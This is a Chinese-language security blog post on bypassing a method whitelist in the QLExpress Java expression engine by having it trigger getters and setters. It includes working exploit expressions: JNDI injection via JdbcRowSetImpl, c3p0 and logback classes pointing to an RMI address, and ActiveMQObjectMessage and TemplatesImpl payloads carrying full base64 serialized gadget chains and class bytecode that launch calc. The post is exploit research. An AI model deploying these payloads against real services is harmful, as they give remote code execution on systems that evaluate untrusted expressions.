QL Express 触发 get|set 利用
QL Express 在执行表达式时可以直接调用类的构造函数和其属性的 getter 方法和 setter 方法,这个特性可以使其在安全组设置加了白名单条件下达到不调用方法进行绕过。
调试分析
简单看看其是怎么调用的 set|get 方法,先写一个 POJO 类
package org.example;
public class user {
public String name;
public int age;
public user(){
}
public user(String name, int age,int nnn) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
express:
import org.example.user;
user u=new user();
u.name="gaoren";
u.age=1000;
在 executeInner
方法中,会把 express 编译为 QL 的语句
然后接着调用 executeInnerOriginalInstruction
函数,这个函数就是循环执行编译的 QL express 语句
在执行到 OP : = OPNUMBER[2]
时进行跟进(也就是给属性赋值时),一直到达 executeInner
方法
发现其调用了 setObject
来对 name 属性赋值。跟进后发现在 setProperty
函数中调用了 PropertyUtils.getPropertyType
来获得属性类,而在这里面进行了属性是否有 set|get 方法的判断,
跟进这个函数到 PropertyUtilsBean#getPropertyDescriptor
,会通过 data
使用属性名 name
来获取对应的 PropertyDescriptor
,而 data
就有类中的所有的 set 方法。
如果没有 set 方法,返回的 result 就为 null,这样最后返回的 filedClass 也就为 null,那么就不会调用 PropertyUtils.setProperty
方法设值了。所以这里给属性赋值只能给有 set 方法的赋值,不像 fastjson 反序列化一样也可以给没有 set 方法的属性设值,这就导致利用面大大减小了。或者说 QL Express 也有什么选项设置像 Feature.SupportNonPublicField
一样?没找到。
最后有 set 方法的属性会到达 PropertyUtilsBean#setSimpleProperty
中,通过 invokeMethod
反射调用 set 方法进行赋值
调用栈
利用
一般调用 setter|getter 方法可以利用的类是很多的,但是的话这里有限制导致实际能用的链子不多。
JdbcRowSetImpl
JdbcRowSetImpl
类位于 com.sun.rowset.JdbcRowSetImpl
,这条漏洞利用链比较好理解,是 javax.naming.InitialContext#lookup()
参数可控导致的 JNDI 注入。
在其 setAutoCommit
方法中,看到在 this.conn
为 null 时,将会调用 this.connect()
方法。
跟进,调用了 lookup 方法,而且 this.getDataSourceName()
可控
并且其都有 setter 方法,所以构造
import com.sun.rowset.JdbcRowSetImpl;
JdbcRowSetImpl jbc = new JdbcRowSetImpl();
jbc.dataSourceName="rmi://localhost:1099/hello";
jbc.autoCommit=true;
ActiveMQObjectMessage *
在该类的 getObject 方法中存在二次反序列化
并且需要控制的 content 属性存在 setter 方法的,这里用的还是之前 wmctf 的环境,data 内容是 cb 链,构造
import java.util.Base64;
import org.apache.activemq.command.ActiveMQObjectMessage;
import org.apache.activemq.util.ByteSequence;
ByteSequence bs=new ByteSequence();
ActiveMQObjectMessage u = new ActiveMQObjectMessage();
bs.data = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAa/K/rq+AAAANAAcAQADQ2F0BwAWAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhDYXQuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBABZFdmlsQ2F0Nzg2OTg3Nzc2NjY3MzAwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAZAAgAAQAJAAAAEQABAAEAAAAFKrcAG7EAAAAAAAEABQAAAAIABnB0AAZBbmNob3JwdwEAeHEAfgANeA==";
bs.length = 1376;
bs.offset = 0;
u.content=bs;
u.trustAllPackages = true;
u.object;
但是这样不会成功,经调试最后没调用到 setdata
方法,问了 squirt1e 师傅,师傅一眼就知道是参数类型不符。这里不会自动对 base64 解码只能传入字节类型的参数了。
重新构造:
import java.util.Base64;
import org.apache.activemq.command.ActiveMQObjectMessage;
import org.apache.activemq.util.ByteSequence;
ByteSequence bs=new ByteSequence();
ActiveMQObjectMessage u = new ActiveMQObjectMessage();
bydata = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAa/K/rq+AAAANAAcAQADQ2F0BwAWAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhDYXQuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBABZFdmlsQ2F0Nzg2OTg3Nzc2NjY3MzAwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAZAAgAAQAJAAAAEQABAAEAAAAFKrcAG7EAAAAAAAEABQAAAAIABnB0AAZBbmNob3JwdwEAeHEAfgANeA==";
bs.data=Base64.getDecoder().decode(bydata);
bs.length = 1376;
bs.offset = 0;
u.content=bs;
u.trustAllPackages = true;
u.object;
弹出计算机
但是由于这里调用了 Base64.getDecoder().decode()
方法,对于规定方法的白名单也就没法绕过了。
TemplatesImpl *
最常用的 getter 方法调用类,其属性 outputProperties
存在 get 方法,简单构造一下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
TemplatesImpl tem=new TemplatesImpl();
tem._bytecodes="yv66vgAAADQAGQEABmdhb3JlbgcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAoACwoACQAMAQAEY2FsYwgADgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABAAEQoACQASAQAGPGluaXQ+DAAUAAYKAAQAFQEAClNvdXJjZUZpbGUBAAtnYW9yZW4uamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAY";
tem._name="gaoren";
tem.outputProperties;
能调用到最后的 getOutputProperties
方法,但是由于其他属性没有 set 方法无法进行赋值。
其他依赖利用
看到上面的三种情况知道需要赋值的属性越少那么越能成功,打 jndi 就成了不二选择。下面里列一些需要其他依赖的 get|set 方法触发 jndi 的。
JndiRefForwardingDataSource
在 com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()
方法有 lookup() 危险函数调用
方法 inner()
又对 dereference()
方法进行了调用
inner()
方法在这些地方都有调用
构造
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
JndiRefConnectionPoolDataSource jndi=new JndiRefConnectionPoolDataSource();
jndi.jndiName="rmi://localhost:1099/hello";
jndi.loginTimeout=0;
JNDIConnectionSource
在其 lookupDataSource
方法中存在 look 方法,可以通过 setJndiLocation
来控制参数,
然后在方法 getConnection()
中调用了 lookupDataSource
漏洞逻辑非常简单,直接构造
import ch.qos.logback.core.db.JNDIConnectionSource;
JNDIConnectionSource jndi=new JNDIConnectionSource();
jndi.jndiLocation="rmi://localhost:1099/hello";
jndi.connection;
总结
如果存在相应依赖的话,通过 setter|getter 方法触发的链子还是有很多的,如 RegistryManagedRuntime
,JNDIManagedRuntime
,DefaultTransactionManagerLookup
等等,只不过这些依赖太少见了。最后,以上有问题的地方还请师傅们多多指出。